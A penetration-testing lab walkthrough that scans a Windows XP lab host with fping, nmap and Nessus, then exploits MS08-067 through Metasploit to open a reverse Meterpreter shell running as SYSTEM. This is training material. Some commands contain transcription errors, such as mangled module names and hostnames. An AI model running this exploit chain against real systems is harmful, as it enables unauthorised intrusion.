Nessus

Let's first install nessus after downloading the .deb file from the Tenable website

```
hadeadaus:~/Downloads$ sudo dpkg -i Nessus-8.14.0-debian6_amd64.deb
[sudo] password for hades:
(Reading database ... 366835 files and directories currently installed.)
Preparing to unpack Nessus-8.14.0-debian6_amd64.deb ...
Unpacking nessus (8.14.0) over (8.12.0) ...
Setting up nessus (8.14.0) ...
Unpacking Nessus Scanner Core Components ...

- You can start Nessus Scanner by typing /bin/systemctl start nessusd.service
- Then go to https://Asus:8834/ to configure your scanner
```

Now we can go to the browser and login to see the nessus home page



Since we don't know the ip address of our target, we will have to do a ping scan. For that, let's first check our ip and get the network address from it.

```
Msus:~/Desktop/eJPT PTS/Module 3 - Basics/Lab 2 - Nessus$ sudo ifconfig
[sudo] password for hades:
eth0: flags=4163<UP, BROADCAST, RUNNING, MULTICAST> mtu 1500
       inet 192.168.1.6 netmask 255.255.255.0 broadcast 192.168.1.255
       inet6 fe80::e7c1:2e43:eb57:cbd2 prefixlen 64 scopeid 0×20<link>
       ether 00:0e:c6:8a:55:c1 txqueuelen 1000 (Ethernet)
       RX packets 761480 bytes 946551730 (902.7 MiB)
       RX errors 0 dropped 0 overruns 0 frame 0
       TX packets 272904 bytes 52033140 (49.6 MiB)
       TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
       inet 127.0.0.1 netmask 255.0.0.0
       inet6 :: 1 prefixlen 128 scopeid 0×10<host>
       loop txqueuelen 1000 (Local Loopback)
       RX packets 56381 bytes 11320898 (10.7 MiB)
       RX errors 0 dropped 0 overruns 0 frame 0
       TX packets 56381 bytes 11320898 (10.7 MiB)
       TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
tap0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
       inet 192.168.99.70 netmask 255.255.255.0 broadcast 192.168.99.255
       inet6 fe80::2842:3bff:fe4e:9220 prefixlen 64 scopeid 0×20<link>
       ether 2a:42:3b:4e:92:20 txqueuelen 100 (Ethernet)
       RX packets 0 bytes 0 (0.0 B)
       RX errors 0 dropped 0 overruns 0 frame 0
       TX packets 20 bytes 2112 (2.0 KiB)
       TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

Our network address will be 192.168.99.0/24. Let's do an fping scan to find the target's ip.

```
hades@Asus:~/Desktop/eJPT PTS/Module 3 - Basics/Lab 2 - Nessus$ fping -a -g 192.168.99.0/24
192.168.99.71
192.168.99.50
```

We got it as 192.168.99.50. Let's do an nmap scan on it.

```
Andersaus:~/Desktop/eJPT PTS/Module 3 - Basics/Lab 2 - Nessus$ sudo nmap -sC -sV -0 192.168.99.50
Starting Nmap 7.80 ( https://nmap.org ) at 2021-06-14 18:24 IST
Nmap scan report for 192.168.99.50
Host is up (0.37s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows XP microsoft-ds
```

We know that smb ports are open and the host is running windows. Let's do a nessus scan on the host using the advanced scan option and check the results.



We have MS08-067 as a critical vulnerability. Let's check for an exploit online.



We found an msf exploit. Let's run it using the instructions.

First step is to launch metasploit and select the exploit.

```
msf6 > use exploit/windows/smb/ms08_067_netapi
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) > show targets
```

Next, we can select our target. I have chosen automatic tatget identification here.

```
msf6 exploit(windows/smb/ms08_067_netapi) > set TARGET 0
TARGET ⇒ 0
msf6 exploit(windows/smb/ms08_067_netapi) > show options
```

Now, let's configure our options.

```
msf6 exploit(windows/smb/ms08_067_netupi) > set RHOSTS 192.168.99.50
RHOSTS ⇒ 192.168.99.50
msf6 exploit(windows/smb/ms08_067_netupi) > set LHOST 192.168.99.71
LHOST ⇒ 192.168.99.71
msf6 exploit(windows/smb/ms08_067_netupi) > exploit

[*) Started reverse TCP handler on 192.168.99.71:4444
[*) 192.168.99.50:445 - Automatically detecting the target ...
[*) 192.168.99.50:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*) 192.168.99.50:445 - Selected Target: Windows XP SP3 English (AlwaysOm NX)
[*) 192.168.99.50:445 - Attempting to trigger the vulnerability ...
[*) Sending stage (175174 bytes) to 192.168.99.50
[*) Meterpreter session 1 opened (192.168.99.71:4444 → 192.168.99.50:1031) at 2021-06-14 18:40:54 +0530
meterpreter > []
```

We got the meterpreter shell, so the exploit was successful. Let's check who we are in the shell.

meterpreter > getuid Server username: NT AUTHORITY\SYSTEM

We have root.